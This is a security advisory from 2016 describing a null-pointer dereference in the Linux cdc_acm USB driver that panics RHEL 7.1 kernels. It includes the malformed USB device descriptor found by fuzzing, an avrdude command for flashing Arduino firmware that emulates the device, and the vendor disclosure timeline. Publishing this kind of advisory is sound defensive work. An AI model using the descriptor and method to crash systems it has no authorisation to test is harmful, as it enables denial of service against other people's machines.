Linux cdc_acm Nullpointer Dereference
 
Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (cdc_acm driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of Advisory: https://os-s.net/advisories/OSS-2016-06_cdc_acm.pdf
 
Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the cdc_acm driver.
 
Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.
 
Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:
 
[*] Device-Descriptor
bLength:    0x12
bDescriptorType:    0x1
bcdUSB: 0x200
bDeviceClass:   0x3
bDeviceSubClass:    0x0
bDeviceProtocol:    0x0
bMaxPacketSize: 0x40
idVendor:   0x482
idProduct:  0x203
bcdDevice:  0x100
iManufacturer:  0x1
iProduct:   0x2
iSerialNumbers: 0x3
bNumConfigurations: 0x1
 
This is the configuration descriptor containing only one interface descriptor.
The cdc-acm driver assumes that there will be at least two interface-
descriptors with associated endpoint-descriptors. 
Since the cdc-acm driver is expecting a second interface descriptor, the 
driver tries to dereference a null-pointer.
This results in a crash of the system.

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This 
firmware will emulate the defective USB device.
 
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex
 
The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!
 
Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 
only physical access to the system is required.
 
Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this 
Security Advisory.
